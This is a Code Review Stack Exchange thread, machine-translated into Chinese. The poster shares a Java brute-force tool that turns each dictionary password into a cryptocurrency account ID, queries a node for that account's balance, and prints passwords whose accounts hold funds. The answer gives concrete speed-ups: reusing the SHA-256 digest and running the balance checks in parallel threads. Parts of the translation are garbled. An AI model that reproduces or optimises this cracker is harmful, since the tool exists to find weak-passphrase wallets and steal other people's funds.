代码已不再相关,但我想知道如何使它更快。它只使用了我10%的CPU。任何关于最佳实践、更好的算法或如何使现有算法更快的建议都是受欢迎的。这纯粹是为了个人学习。
public class BruteForce {
public static void main(String[] args) throws Exception {
// Password dictionary
FileInputStream fstream = new FileInputStream("C:/list.txt");
BufferedReader BufferedReader1 = new BufferedReader(new InputStreamReader(new DataInputStream(fstream)));
// Read File Line By Line
String input;
long counter = 0;
Long start = System.currentTimeMillis();
while ((input = BufferedReader1.readLine()) != null) {
if(counter%1000000 == 0){
System.out.println(counter + ": " + input);
}
counter++;
// Generate ID using published class
byte[] pub = ppg.Indors.getPublicKey(input);
// We could use getId, but we get a weird signed/unsigned problem
byte[] pub2 = MessageDigest.getInstance("SHA-256").digest(pub);
// Get account ID
BigInteger BigInteger = new BigInteger(1, new byte[]{pub2[7],pub2[6],pub2[5],pub2[4],pub2[3],pub2[2],pub2[1],pub2[0]});
// Request balance for ID
String url = "http://localhost:1811/ppg?request=egtBalance=" + BigInteger.toString();
URL obj = new URL(url);
HttpURLConnection con = (HttpURLConnection) obj.openConnection();
con.setRequestMethod("GET");
BufferedReader BufferedReader2 = new BufferedReader(new InputStreamReader(con.getInputStream()));
String inputLine;
StringBuffer response = new StringBuffer();
while ((inputLine = BufferedReader2.readLine()) != null) {
response.append(inputLine);
}
BufferedReader2.close();
// Check balance bigger than 0
if (!response.toString().contains("balance\":0")) {
System.out.println("Found:" + input);
}
}
System.out.println("Speed (tries/sec): " + counter*1000/(System.currentTimeMillis()-start));
BufferedReader1.close();
}
}
发布于 2014-02-23 14:17:28
你们的大量工作只是普通的工作,必须做.(强暴的乐趣)。
另一方面,这项工作是不必要的:
byte[] pub2 = MessageDigest.getInstance("SHA-256").digest(pub);
这应改为:
MessageDigest digest = MessageDigest.getInstance("SHA-256");
for (..... ) {
digest.reset();
byte pub2 = digest.digest(pub);
在每个循环中访问安全API是浪费大量时间,MessageDigest类被设计成可重用。
你做的很多工作都涉及到获取和管理URL的.这是一项缓慢的工作,可以与生成密钥散列的艰苦工作并行完成。
我推荐一个线程来构建哈希流(存储了相关的输入),并将它们输入到队列大小有限的BlockingQueue中.然后,让控制线程从队列中读取这些内容,并将它们“分组”到多个其他线程,这些线程根据服务器创建并检查URL。
并行可以给你数量级的性能改进.(但会大量加载服务器.)
https://codereview.stackexchange.com/questions/42591
复制相似问题